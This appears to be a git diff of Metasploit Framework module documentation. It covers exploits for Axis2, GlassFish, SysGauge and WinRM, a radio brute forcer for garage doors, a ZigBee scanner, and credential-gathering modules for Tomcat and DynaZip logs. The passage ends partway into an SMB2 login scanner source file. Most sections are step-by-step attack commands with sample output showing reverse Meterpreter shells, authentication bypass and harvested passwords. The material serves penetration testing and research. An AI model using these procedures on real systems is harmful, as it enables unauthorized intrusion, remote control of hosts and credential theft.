+This module logs in to an Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using SOAP. + +## Axis2 Web Admin + +The Apache Axis2 Web application has three main sections:'Services' lists all the available services deployed in this server, 'Validate' checks the system to see whether all the required libraries are in place and views the system information, and 'Administration' is the Axis2 Web Administration module which is the console for administering the Apache Axis2 installation. The Axis2 Web Administration module provides a way to configure Axis2 dynamically. + +**IMPORTANT:** This dynamic configuration will NOT be persistent, i.e., if the servlet container is restarted, then all the dynamic configuration changes will be lost. + +## Verification Steps + +1. Do: ```use exploit/multi/http/axis2_deployer``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +3. Do: ```set USERNAME [Username]``` +4. Do: ```set PASSWORD [Password]``` +5. Do: ```run``` + +## Sample Output + +``` +msf > use exploit/multi/http/axis2_deployer +msf exploit(axis2_deployer) > set RHOST 10.10.155.37 +RHOST => 10.10.155.37 +msf exploit(axis2_deployer) > set RPORT 8080 +RPORT => 8080 +msf exploit(axis2_deployer) > set USERNAME admin +USERNAME => admin +msf exploit(axis2_deployer) > set PASSWORD admin123 +PASSWORD => admin123 +msf exploit(axis2_deployer) > exploit + +[*] Started reverse TCP handler on 10.10.155.39:4444 +[+] http://10.10.155.37:8080/axis2/axis2-admin [Apache-Coyote/1.1] [Axis2 Web Admin Module] successful login 'admin' : 'axis2' +[*] Successfully uploaded +[*] Polling to see if the service is ready +[*] Sending stage (30355 bytes) to 10.10.155.37 +[*] Meterpreter session 3 opened (10.10.155.39:4444 -> 10.10.155.37:1750) at 2017-03-26 23:33:19 -0500 + +[*] NOTE: You will need to delete the web service that was uploaded. + +[*] Using meterpreter: +[*] rm "webapps/axis2/WEB-INF/services/mdLFvgMv.jar" + +[*] Using the shell: +[*] cd "webapps/axis2/WEB-INF/services" +[*] del mdLFvgMv.jar + + +meterpreter > getuid +Server username: Administrator +meterpreter > sysinfo +Computer : juan-6ed9db6ca8 +OS : Windows 2003 5.2 (x86) +Meterpreter : java/java +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 10.10.155.37 - Meterpreter session 3 closed. Reason: User exit + +``` diff --git a/documentation/modules/exploit/multi/http/glassfish_deployer.md b/documentation/modules/exploit/multi/http/glassfish_deployer.md new file mode 100644 index 0000000000..617f0edfc8 --- /dev/null +++ b/documentation/modules/exploit/multi/http/glassfish_deployer.md @@ -0,0 +1,70 @@ +## Description + +This module logs in to a GlassFish Server (Open Source or Commercial) using various methods (such as authentication bypass, default credentials, or user-supplied login), and deploys a malicious war file in order to get remote code execution. It has been tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer GlassFish versions do not allow remote access (Secure Admin) by default, but is required for exploitation. + +## GlassFish + +GlassFish is a open-source application server project started by Sun Microsystems for the Java EE platform and now sponsored by Oracle Corporation. The supported version is called Oracle GlassFish Server. GlassFish is free software, dual-licensed under two free software licences: the Common Development and Distribution License (CDDL) and the GNU General Public License (GPL) with the classpath exception. + +## Installation + +For testing purposes, the following explains how you can install a vulnerable version of GlassFish on Ubuntu Linux: + +1. Make sure you have a clean Ubuntu box +2. Open a terminal on the Ubuntu box, and do: ```sudo apt-get install default-jdk```. We assume this gives you JDK 8. +3. Download [GlassFish 4.0](http://download.java.net/glassfish/4.0/release/glassfish-4.0.zip) +4. Unzip GlassFish-4.0, navigate to the bin directory, and then start ```asadmin``` +5. In the asadmin console, do ```start-domain domain1```. This will start GlassFish. +6. On the Ubuntu box, go to http://localhost:4848 with a browser +7. On the left menu, click on ```Domain``` +8. On the right, click on ```Administrator Password``` +9. Set a new password for admin +10. On the left menu, click on ```server (Admin server)``` +11. On the right, click on ```Secure Administrator``` +12. Click on ```Enable Secure Admin``` +13. You will need to wait for up to a minute to make sure GlassFish is up and running again on port 4848. + +If you are on a different platform (such as Windows), the installation should be quite similar. + +## Verification Steps + +1. Do: ```use exploit/multi/http/glassfish_deployer``` +2. Do: ```set RHOST [IP]``` +3. Do: ```set USERNAME [Username]``` +4. Do: ```set PASSWORD [Password]``` +5. Do: ```run``` + +## Sample Output + +``` +msf > use exploit/multi/http/glassfish_deployer +msf exploit(glassfish_deployer) > set RHOST 172.16.182.237 +RHOST => 172.16.182.237 +msf exploit(glassfish_deployer) > set USERNAME admin +USERNAME => admin +msf exploit(glassfish_deployer) > set PASSWORD admin123 +PASSWORD => admin123 +msf exploit(glassfish_deployer) > exploit +[*] Started reverse TCP handler on 172.16.182.112:4444 +[*] Glassfish edition: GlassFish Server Open Source Edition 3.0.1 +[*] Trying GlassFish authentication bypass.. +[+] http://172.16.182.237:4848// - GlassFish - SUCCESSFUL authentication bypass +[*] Uploading payload... +[*] Successfully uploaded +[*] Executing /icDfejbl6Vc9ZobfgVv9LIBES/SV7fVtWuTQFZqtzMPiJ.jsp... +[*] Sending stage (30355 bytes) to 172.16.182.237 +[*] Meterpreter session 1 opened (172.16.182.112:4444 -> 172.16.182.237:1472) at 2017-03-27 19:07:58 -0500 +[*] Getting information to undeploy... +[*] Undeploying icDfejbl6Vc9ZobfgVv9LIBES... +[*] Undeployment complete. + +meterpreter > getuid +Server username: Administrator +meterpreter > sysinfo +Computer : juan-6ed9db6ca8 +OS : Windows 2003 5.2 (x86) +Meterpreter : java/java +meterpreter > exit +[*] Shutting down Meterpreter... + +``` diff --git a/documentation/modules/exploit/windows/smtp/sysgauge_client_bof.md b/documentation/modules/exploit/windows/smtp/sysgauge_client_bof.md new file mode 100644 index 0000000000..d422147189 --- /dev/null +++ b/documentation/modules/exploit/windows/smtp/sysgauge_client_bof.md @@ -0,0 +1,41 @@ +## Vulnerable Application + + This module will setup an SMTP server expecting a connection from SysGauge 1.5.18 +via its SMTP server validation. The module sends a malicious response along in the +220 service ready response and exploits the client, resulting in an unprivileged shell. + + he software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe). + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use exploit/windows/smtp/sysgauge_client_bof``` + 4. Do: ```set payload windows/meterpreter/reverse_tcp``` + 5. Do: ```set LHOST ip``` + 6. Do: ```run``` + 7. The user should put your `SRVHOST` or other applicable IP address in the SMTP configuration +in the program, and hit the "Verify Email ..." button. + 8. You should get a shell. + +## Scenarios + + Here is how to typically execute the module. Note that the client must input this SMTP server + information under SysGauge Options and hit the "Verify Email ..." button. + + ``` + msf > use exploit/windows/smtp/sysgauge_client_bof + msf exploit(sysgauge_client_bof) > set payload windows/meterpreter/reverse_tcp + payload => windows/meterpreter/reverse_tcp + msf exploit(sysgauge_client_bof) > set lhost 10.0.0.1 + lhost => 10.0.0.1 + msf exploit(sysgauge_client_bof) > exploit + [*] Exploit running as background job. + msf exploit(sysgauge_client_bof) > + [*] Started reverse TCP handler on 10.0.0.1:4444 + [*] Server started. + [*] Client connected: 10.0.0.128 + [*] Sending payload... + [*] Sending stage (957487 bytes) to 10.0.0.128 + [*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.128:49165) at 2017-03-14 23:15:04 -0500 + ``` diff --git a/documentation/modules/exploit/winrm/winrm_script_exec.md b/documentation/modules/exploit/winrm/winrm_script_exec.md new file mode 100644 index 0000000000..8612558f64 --- /dev/null +++ b/documentation/modules/exploit/winrm/winrm_script_exec.md @@ -0,0 +1,146 @@ +## Vulnerable Application + +WinRM, is a Windows-native built-in remote management protocol in its simplest form that uses Simple Object Access Protocol to interface with remote computers and servers, as well as Operating Systems and applications. It handles remote connections by means of the WS-Management Protocol, which is based on SOAP (Simple Object Access Protocol). +This module uses valid credentials to login to the WinRM service and execute a payload. It has two available methods for payload delivery: Powershell 2.0 and VBS CmdStager. This module will check if Poweshell 2.0 is available, and if so then it will use that method. Otherwise it falls back to the VBS CmdStager which is less stealthy. + +**IMPORTANT:** If targetting an x64 system with the Poweshell method, one must select an x64 payload. An x86 payload will never return. + +## Example Usage + +### Windows 2008 + +**Powershell 2.0 is used for payload delivery here** + +``` +msf exploit(handler) > use exploit/windows/winrm/winrm_script_exec +msf exploit(winrm_script_exec) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(winrm_script_exec) > set USERNAME admin +USERNAME => admin +msf exploit(winrm_script_exec) > set PASSWORD admin +PASSWORD => admin +msf exploit(winrm_script_exec) > set LHOST 192.168.198.138 +LHOST => 192.168.198.138 +msf exploit(winrm_script_exec) > set LPORT 4444 +LPORT => 4444 +msf exploit(winrm_script_exec) > set RHOST 192.168.198.130 +RHOST => 192.168.198.130 +msf exploit(winrm_script_exec) > exploit +[*] Started reverse TCP handler on 192.168.198.138:4444 +[*] checking for Powershell 2.0 +[*] Attempting to set Execution Policy +[+] Set Execution Policy Successfully +[*] Grabbing %TEMP% +[*] Uploading powershell script to C:\Users\ADMINI~1\AppData\Local\Temp\uFWUOIgQ.ps1 (This may take a few minutes)... +[*] Attempting to execute script... +[*] Sending stage (752128 bytes) to 192.168.198.130 +[*] Meterpreter session 1 opened (192.168.198.138:4444 -> 192.168.198.130:5985) at 2017-03-19 21:30:05 +0100 +meterpreter > +[*] Session ID 1 (192.168.198.138:4444 -> 192.168.198.130:5985) processing InitialAutoRunScript 'post/windows/manage/smart_migrate' +[*] Current server process: powershell.exe (608) +[+] Migrating to 568 +[+] Successfully migrated to process +meterpreter > sysinfo +gComputer : WIN-JZF4OTQMX4W +OS : Windows 2008 (Build 6002, Service Pack 2). +Architecture : x86 +System Language : en_US +Meterpreter : x86/win32 +meterpreter > getuid +gServer username: NT AUTHORITY\SYSTEM +meterpreter > getpid +Current pid: 568 +meterpreter > + +``` + +**VBS CmdStager is used for payload delivery here** + +``` +msf exploit(handler) > use exploit/windows/winrm/winrm_script_exec +msf exploit(winrm_script_exec) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(winrm_script_exec) > set USERNAME admin +USERNAME => admin +msf exploit(winrm_script_exec) > set PASSWORD admin +PASSWORD => admin +msf exploit(winrm_script_exec) > set LHOST 192.168.198.138 +LHOST => 192.168.198.138 +msf exploit(winrm_script_exec) > set LPORT 4444 +LPORT => 4444 +msf exploit(winrm_script_exec) > set RHOST 192.168.198.130 +RHOST => 192.168.198.130 +msf exploit(winrm_script_exec) > set FORCE_VBS true +FORCE_VBS => true +msf exploit(winrm_script_exec) > exploit +[*] Started reverse TCP handler on 192.168.198.138:4444 +[*] User selected the FORCE_VBS option +[*] Command Stager progress - 2.01% done (2046/101936 bytes) +[*] Command Stager progress - 4.01% done (4092/101936 bytes) +[*] Command Stager progress - 6.02% done (6138/101936 bytes) +[*] Command Stager progress - 8.03% done (8184/101936 bytes) +[*] Command Stager progress - 10.04% done (10230/101936 bytes) +[*] Command Stager progress - 12.04% done (12276/101936 bytes) +[*] Command Stager progress - 14.05% done (14322/101936 bytes) +[*] Command Stager progress - 16.06% done (16368/101936 bytes) +[*] Command Stager progress - 18.06% done (18414/101936 bytes) +[*] Command Stager progress - 20.07% done (20460/101936 bytes) +[*] Command Stager progress - 22.08% done (22506/101936 bytes) +[*] Command Stager progress - 24.09% done (24552/101936 bytes) +[*] Command Stager progress - 26.09% done (26598/101936 bytes) +[*] Command Stager progress - 28.10% done (28644/101936 bytes) +[*] Command Stager progress - 30.11% done (30690/101936 bytes) +[*] Command Stager progress - 32.11% done (32736/101936 bytes) +[*] Command Stager progress - 34.12% done (34782/101936 bytes) +[*] Command Stager progress - 36.13% done (36828/101936 bytes) +[*] Command Stager progress - 38.14% done (38874/101936 bytes) +[*] Command Stager progress - 40.14% done (40920/101936 bytes) +[*] Command Stager progress - 42.15% done (42966/101936 bytes) +[*] Command Stager progress - 44.16% done (45012/101936 bytes) +[*] Command Stager progress - 46.16% done (47058/101936 bytes) +[*] Command Stager progress - 48.17% done (49104/101936 bytes) +[*] Command Stager progress - 50.18% done (51150/101936 bytes) +[*] Command Stager progress - 52.19% done (53196/101936 bytes) +[*] Command Stager progress - 54.19% done (55242/101936 bytes) +[*] Command Stager progress - 56.20% done (57288/101936 bytes) +[*] Command Stager progress - 58.21% done (59334/101936 bytes) +[*] Command Stager progress - 60.21% done (61380/101936 bytes) +[*] Command Stager progress - 62.22% done (63426/101936 bytes) +[*] Command Stager progress - 64.23% done (65472/101936 bytes) +[*] Command Stager progress - 66.24% done (67518/101936 bytes) +[*] Command Stager progress - 68.24% done (69564/101936 bytes) +[*] Command Stager progress - 70.25% done (71610/101936 bytes) +[*] Command Stager progress - 72.26% done (73656/101936 bytes) +[*] Command Stager progress - 74.26% done (75702/101936 bytes) +[*] Command Stager progress - 76.27% done (77748/101936 bytes) +[*] Command Stager progress - 78.28% done (79794/101936 bytes) +[*] Command Stager progress - 80.29% done (81840/101936 bytes) +[*] Command Stager progress - 82.29% done (83886/101936 bytes) +[*] Command Stager progress - 84.30% done (85932/101936 bytes) +[*] Command Stager progress - 86.31% done (87978/101936 bytes) +[*] Command Stager progress - 88.31% done (90024/101936 bytes) +[*] Command Stager progress - 90.32% done (92070/101936 bytes) +[*] Command Stager progress - 92.33% done (94116/101936 bytes) +[*] Command Stager progress - 94.34% done (96162/101936 bytes) +[*] Command Stager progress - 96.34% done (98208/101936 bytes) +[*] Command Stager progress - 98.35% done (100252/101936 bytes) +[*] Sending stage (752128 bytes) to 192.168.198.130 +[*] Meterpreter session 2 opened (192.168.198.138:4444 -> 192.168.198.130:5985) at 2017-03-19 21:46:05 +0100 +[*] Session ID 2 (192.168.198.138:4444 -> 192.168.1.142:49158) processing InitialAutoRunScript 'post/windows/manage/smart_migrate' +[*] Current server process: mSPvA.exe (3548) +[+] Migrating to 580 +[+] Successfully migrated to process +[*] nil +[*] Command Stager progress - 100.00% done (101936/101936 bytes) +meterpreter > getpid +Current pid: 580 +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-OPAUFTQFWTB +OS : Windows 2008 (Build 6002, Service Pack 2). +Architecture : x86 +System Language : en_US +Meterpreter : x86/win32 +meterpreter > +``` diff --git a/documentation/modules/post/hardware/rftransceiver/rfpwnon.md b/documentation/modules/post/hardware/rftransceiver/rfpwnon.md new file mode 100644 index 0000000000..154ac37cba --- /dev/null +++ b/documentation/modules/post/hardware/rftransceiver/rfpwnon.md @@ -0,0 +1,88 @@ +Port of a brute force utility by LegacySecurityGroup, the original can be found +[here](https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py). +It's a generic AM/OOK brute forcer with PWM translations. It has been +demonstrated to work against static key garage door openers. + +## Options ## + + **FREQ** + + Frequency to brute force. + + **BAUD** + + Baud rate. Default: 2000 + + **BINLENGTH** + + Binary bit-length for bruteforcing. Default: 8 + + **REPEAT** + + How many times to repeat the sending of the packet. Default: 5 + + **PPAD** + + Binary data to append to packet. (Example: "0101") Default: None + + **TPAD** + + Binary data to add to end of packet. (Example: "0101") Default: None + + **RAW** + + Do not do PWM encoding on packet. Default: False + + **TRI** + + Use trinary signals. Default: False + + **EXTRAVERBOSE** + + Adds some extra status messages. + + **INDEX** + + USB Index number. Default: 0 + + **DELAY** + + How many milliseconds to delay before transmission. Too fast tends to lock up the device. Default: 500 (0.5 seconds) + +## Scenarios + + Run a brute force of 6 characters long with 2 repeats: + +``` +hwbridge > run post/hardware/rftransceiver/rfpwnon FREQ=915000000 BINLEGTH=6 REPEAT=2 + +[*] Generating de bruijn sequence... +[*] Brute forcing frequency: 915000000 +[*] Transmitting... +[*] Binary before PWM encoding: +[*] 00000000 +[*] Binary after PWM encoding: +[*] 11101110111011101110111011101110 +[*] Transmitting... +[*] Binary before PWM encoding: +[*] 00000000 +[*] Binary after PWM encoding: +[*] 11101110111011101110111011101110 +[*] Transmitting... +[*] Binary before PWM encoding: +[*] 00000001 +[*] Binary after PWM encoding: +[*] 11101110111011101110111011101000 +[*] Transmitting... +[*] Binary before PWM encoding: +[*] 00000001 +[*] Binary after PWM encoding: +[*] 11101110111011101110111011101000 +[*] Transmitting... +[*] Binary before PWM encoding: +[*] 00000010 +[*] Binary after PWM encoding: +[*] 11101110111011101110111010001110 +[*] Transmitting... +... +``` diff --git a/documentation/modules/post/hardware/rftransceiver/transmitter.md b/documentation/modules/post/hardware/rftransceiver/transmitter.md new file mode 100644 index 0000000000..7b84e83263 --- /dev/null +++ b/documentation/modules/post/hardware/rftransceiver/transmitter.md @@ -0,0 +1,40 @@ +Simple module to transmit a given frequency for a specified amount of seconds. This +code was ported from [AndrewMohawk](https://github.com/AndrewMohawk). + +NOTE: Users of this module should be aware of their local laws, +regulations, and licensing requirements for transmitting on any +given radio frequency. + + +## Options ## + + **FREQ** + + Frequency to brute force. + + **BAUD** + + Baud rate. Default: 4800 + + **POWER** + + Power level to specify. Default: 100 + + **SECONDS** + + How many seconds to transmit the signal. Default: 4 + + **INDEX** + + USB Index number. Default: 0 + +## Scenarios + + Transmit a given signal for 4 seconds + +``` +hwbridge > run post/hardware/rftransceiver/transmitter FREQ=433880000 + +[*] Transmitting on 433880000 for 4 seconds... +[*] Finished transmitting +``` diff --git a/documentation/modules/post/hardware/zigbee/zstumbler.md b/documentation/modules/post/hardware/zigbee/zstumbler.md new file mode 100644 index 0000000000..f8095ac2ce --- /dev/null +++ b/documentation/modules/post/hardware/zigbee/zstumbler.md @@ -0,0 +1,38 @@ +Actively scans the Zigbee channels by sending a beacon broadcast packet and listening for responses. + +## Options + + **DEVICE** + + ZigBee Device ID. Defaults to the target device that is specified via the target command or if + one device is presented when running 'supported_devices' it will use that device. + + **CHANNEL** + + The channel to scan. Setting this options will prevent the stumbler from changing channels. Range is 11-26, inclusive. Default: not set +n + **LOOP** + + How many times to loop over the channels. Specifying a -1 will loop forever. Default: 1 + + **DELAY** + + The delay in seconds to listen to each channel. Default: 2 + +## Scenarios + + Scanning channel 11 for other ZigBee devices in the area. + +``` +hwbridge > run post/hardware/zigbee/zstumbler channel=11 + +[*] Scanning Channel 11 +[*] New Network: PANID: 0x4724 SOURCE: 0x25D5 +[*] Ext PANID: 6E:03:C7:74:31:E2:74:AA Stack Profile: ZigBee Enterprise +[*] Stack Version: ZigBee 2006/2007 +[*] Channel: 11 +[*] New Network: PANID: 0x4724 SOURCE: 0x7DD1 +[*] Ext PANID: 6E:03:C7:74:31:E2:74:AA Stack Profile: ZigBee Enterprise +[*] Stack Version: ZigBee 2006/2007 +[*] Channel: 11 +``` diff --git a/documentation/modules/post/multi/gather/tomcat_gather.md b/documentation/modules/post/multi/gather/tomcat_gather.md new file mode 100644 index 0000000000..3213c4d855 --- /dev/null +++ b/documentation/modules/post/multi/gather/tomcat_gather.md @@ -0,0 +1,100 @@ +## Creating A Testing Environment + + For this module to work you need a linux or windows machine. + + * For linux you can run something like `apt-get install tomcat7` to get a working tomcat service. + * For WIndows you can download tomcat from http://tomcat.apache.org/ and then install it as a service. + +This module has been tested against: + + 1. Xubuntu and Ubuntu Server 16.04 with tomcat 7, 8. + 2. Windows 10 with tomcat 6, 7. + 3. Windows XP with tomcat 5.5, 6, 7, 8 + +This module was not tested against, but may work against: + + 1. Other versions of linux running tomcat v4-9 + 2. Other version of windows running tomcat v4-9 + +## Verification Steps + + 1. Start msfconsole + 2. Obatin a meterpreter session via whatever method + 3. Do: `use post/multi/gather/tomcat_gather` + 4. Do: `set session #` + 5. Do: `run` + +## Scenarios + +### Xubuntu 16.04 with tomcat 7 and 8 + +#### Running without read permissions + + msf post(tomcat_gather) > set session 1 + session => 1 + msf post(tomcat_gather) > run + + [*] [2017.03.31-10:19:27] Unix OS detected + [*] [2017.03.31-10:19:28] /etc/tomcat7/tomcat-users.xml found + [-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat7/tomcat-users.xml: core_channel_open: Operation failed: 1 + [*] [2017.03.31-10:19:28] Cannot open /etc/tomcat7/tomcat-users.xml you probably don't have permission to open the file or parsing failed. + [*] [2017.03.31-10:19:28] /etc/tomcat8/tomcat-users.xml found + [-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat8/tomcat-users.xml: core_channel_open: Operation failed: 1 + [*] [2017.03.31-10:19:28] Cannot open /etc/tomcat8/tomcat-users.xml you probably don't have permission to open the file or parsing failed. + [*] [2017.03.31-10:19:28] Attempting to extract Tomcat listening ports from /etc/tomcat7/server.xml + [-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat7/server.xml: core_channel_open: Operation failed: 1 + [*] [2017.03.31-10:19:28] Cannot open /etc/tomcat7/server.xml you probably don't have permission to open the file or parsing failed + [*] [2017.03.31-10:19:28] Attempting to extract Tomcat listening ports from /etc/tomcat8/server.xml + [-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat8/server.xml: core_channel_open: Operation failed: 1 + [*] [2017.03.31-10:19:28] Cannot open /etc/tomcat8/server.xml you probably don't have permission to open the file or parsing failed + [*] [2017.03.31-10:19:28] No user credentials have been found + [*] Post module execution completed + +#### Running with read permissions + + msf post(tomcat_gather) > set session 2 + session => 2 + msf post(tomcat_gather) > run + + [*] [2017.03.31-10:33:14] Unix OS detected + [*] [2017.03.31-10:33:15] /etc/tomcat7/tomcat-users.xml found + [*] [2017.03.31-10:33:15] /etc/tomcat8/tomcat-users.xml found + [*] [2017.03.31-10:33:15] Attempting to extract Tomcat listening ports from /etc/tomcat7/server.xml + [*] [2017.03.31-10:33:15] Attempting to extract Tomcat listening ports from /etc/tomcat8/server.xml + [+] [2017.03.31-10:33:16] Username and password found in /etc/tomcat7/tomcat-users.xml - tomcat2:s3cret + [+] [2017.03.31-10:33:16] Username and password found in /etc/tomcat8/tomcat-users.xml - tomcat2:s3cret + [*] Post module execution completed + + msf post(tomcat_gather) > creds + Credentials + =========== + + host origin service public private realm private_type + ---- ------ ------- ------ ------- ----- ------------ + 10.10.10.6 10.10.10.6 8080/tcp (Tomcat) tomcat2 s3cret Password + + +### Windows 10 with tomcat 7 + +#### Running with read permissions + + msf post(tomcat_gather) > run + + [*] [2017.03.31-10:43:18] Windows OS detected, enumerating services + [+] [2017.03.31-10:43:18] Tomcat service found + [*] [2017.03.31-10:43:18] C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml found! + [+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - tomcat:tomcat + [+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - both: + [+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - role1: + [*] Post module execution completed + + msf post(tomcat_gather) > creds + Credentials + =========== + + host origin service public private realm private_type + ---- ------ ------- ------ ------- ----- ------------ + 10.10.10.6 10.10.10.6 8080/tcp (Tomcat) tomcat2 s3cret Password + 10.10.10.7 10.10.10.7 8080/tcp (Tomcat) tomcat tomcat Password + 10.10.10.7 10.10.10.7 8080/tcp (Tomcat) both Password + 10.10.10.7 10.10.10.7 8080/tcp (Tomcat) role1 Password \ No newline at end of file diff --git a/documentation/modules/post/windows/gather/credentials/dynazip_log.md b/documentation/modules/post/windows/gather/credentials/dynazip_log.md new file mode 100644 index 0000000000..09cb44a74c --- /dev/null +++ b/documentation/modules/post/windows/gather/credentials/dynazip_log.md @@ -0,0 +1,143 @@ +## Vulnerable Application + + This post-exploitation module extracts clear text credentials from dynazip.log. + + The dynazip.log file is located in `%WINDIR%` and contains log entries generated during encryption of Compressed Folders (zip files) in Microsoft® Plus! 98 and Windows® Me. Each log entry contains detailed diagnostic information generated during the encryption process, including the zip file name and the password used to encrypt the zip file in clear text. + + Microsoft released details of the vulnerability in [Microsoft Security Bulletin MS01-019](https://technet.microsoft.com/en-us/library/security/MS01-019) rated as Critical. A patch which disabled use of the log file was also released; however the patch failed to clear the contents of the existing log file. + + Microsoft® Plus! 98 and Windows® Me are no longer supported by Microsoft. + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get meterpreter session + 3. Do: `use post/windows/gather/credentials/dynazip_log` + 4. Do: `set SESSION ` + 5. Do: `run` + 6. You should be able to see the extracted credentials in the module output + + +## Example Run + + **Default Output** + + ``` + msf post(dynazip_log) > exploit + + [+] Found DynaZip log file: C:\WINDOWS\dynazip.log + [+] File: 'C:\WINDOWS\Desktop\secret.zip' -- Password: 'my secret password!' + [+] File: 'C:\WINDOWS\Desktop\private.zip' -- Password: 'priv8' + [+] File: 'C:\WINDOWS\Desktop\thepasswordisaspace.zip' -- Password: ' ' + [+] File: 'C:\WINDOWS\Desktop\earthbound.zip' -- Password: 'fuzzy pickles' + + ZIP Passwords + ============= + + File Path Password + --------- -------- + C:\WINDOWS\Desktop\earthbound.zip fuzzy pickles + C:\WINDOWS\Desktop\private.zip priv8 + C:\WINDOWS\Desktop\secret.zip my secret password! + C:\WINDOWS\Desktop\thepasswordisaspace.zip + + [*] Post module execution completed + ``` + + **Verbose Output** + + ``` + msf post(dynazip_log) > set verbose true + verbose => true + msf post(dynazip_log) > exploit + + [+] Found DynaZip log file: C:\WINDOWS\dynazip.log + [*] Processing log file (6614 bytes) + [*] Processing log entry for C:\WINDOWS\Desktop\secret.zip + [+] File: 'C:\WINDOWS\Desktop\secret.zip' -- Password: 'my secret password!' + [*] Processing log entry for C:\WINDOWS\Desktop\private.zip + [+] File: 'C:\WINDOWS\Desktop\private.zip' -- Password: 'priv8' + [*] Processing log entry for C:\WINDOWS\Desktop\thepasswordisaspace.zip + [+] File: 'C:\WINDOWS\Desktop\thepasswordisaspace.zip' -- Password: ' ' + [*] Processing log entry for C:\WINDOWS\Desktop\earthbound.zip + [+] File: 'C:\WINDOWS\Desktop\earthbound.zip' -- Password: 'fuzzy pickles' + [*] Processing log entry for C:\WINDOWS\Desktop\this file is not encrypted.zip + [*] Did not find a password + + ZIP Passwords + ============= + + File Path Password + --------- -------- + C:\WINDOWS\Desktop\earthbound.zip fuzzy pickles + C:\WINDOWS\Desktop\private.zip priv8 + C:\WINDOWS\Desktop\secret.zip my secret password! + C:\WINDOWS\Desktop\thepasswordisaspace.zip + + [*] Post module execution completed + ``` + + +## Example Log Entry + + An example dynazip.log log file entry is shown below: + + ``` + --- DynaZIP ZIP Diagnostic Log - Version: 3.00.16 - 02/22/17 17:01:46 --- + Function: 5 + lpszZIPFile: 0x00437538 + C:\WINDOWS\Desktop\secret.zip + lpszItemList: 0x0059e878 + "secret.txt" + lpMajorStatus: 0x00000000 + lpMajorUserData: 0x00000000 + lpMinorStatus: 0x00000000 + lpMinorUserData: 0x00000000 + dosifyFlag: 0 + recurseFlag: 0 + compFactor: 5 + quietFlag: 1 + pathForTempFlag: 0 + lpszTempPath: 0x00000000 + ??? + fixFlag: 0 + fixHarderFlag: 0 + includeVolumeFlag: 0 + deleteOriginalFlag: 0 + growExistingFlag: 0 + noDirectoryNamesFlag: 0 + convertLFtoCRLFFlag: 0 + addCommentFlag: 0 + lpszComment: 0x00000000 + ??? + afterDateFlag: 0 + lpszDate: 0x00000000 + oldAsLatestFlag: 0 + includeOnlyFollowingFlag: 0 + lpszIncludeFollowing: 0x00000000 + ??? + excludeFollowingFlag: 0 + lpszExludeFollowing: 0x00000000 + ??? + noDirectoryEntriesFlag: 0 + includeSysHiddenFlag: 1 + dontCompressTheseSuffixesFlag: 0 + lpszStoreSuffixes: 0x00000000 + ??? + encryptFlag: 1 + lpszEncryptCode: 0x712185d4 + my secret password! + lpMessageDisplay: 0x7120ca22 + lpMessageDisplayData: 0x00000000 + wMultiVolControl: 0x0000 + wZipSubOptions: 0x0000 + lResv1: 0x00000000 + lResv2: 0x00000000 + lpszExtProgTitle: 0x00000000 + ??? + lpRenameProc: 0x71203919 + lpRenameUserData: 0x0059eb8a + lpMemBlock: 0x004e3a0c + lMemBlockSize: 6 + ``` diff --git a/documentation/modules/post/windows/manage/run_as_psh.md b/documentation/modules/post/windows/manage/run_as_psh.md index 468fb48047..98d76bf40f 100644 --- a/documentation/modules/post/windows/manage/run_as_psh.md +++ b/documentation/modules/post/windows/manage/run_as_psh.md @@ -20,6 +20,8 @@ The process will use the Start-Process command of powershell to run a process as - Requires Powershell - Hidden Mode does not work with older powershell versions - Interactive mode needs to be run from a meterpreter console +- Certain SYSTEM Services cannot run Start-Process with the -credential switch, causing the module to fail +- SYSTEM processes without I/O pipes cannot use interactive mode ## Examples diff --git a/lib/metasploit/framework/login_scanner/smb2.rb b/lib/metasploit/framework/login_scanner/smb2.rb new file mode 100644 index 0000000000..dffe80dcfa --- /dev/null +++ b/lib/metasploit/framework/login_scanner/smb2.rb @@ -0,0 +1,142 @@ +require 'metasploit/framework' +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'ruby_smb' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with the Server Messaging + # Block protocol. + class SMB2 + include Metasploit::Framework::Tcp::Client + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + + # Constants to be used in {Result#access_level} + module AccessLevels + # Administrative access. For SMB, this is defined as being + # able to successfully Tree Connect to the `ADMIN$` share. + # This definition is not without its problems, but suffices to + # conclude that such a user will most likely be able to use + # psexec. + ADMINISTRATOR = "Administrator" + # Guest access means our creds were accepted but the logon + # session is not associated with a real user account. + GUEST = "Guest" + end + + CAN_GET_SESSION = true + DEFAULT_REALM = 'WORKSTATION' + #LIKELY_PORTS = [ 139, 445 ] + #LIKELY_SERVICE_NAMES = [ "smb" ] + PRIVATE_TYPES = [ :password, :ntlm_hash ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + + module StatusCodes + CORRECT_CREDENTIAL_STATUS_CODES = [ + 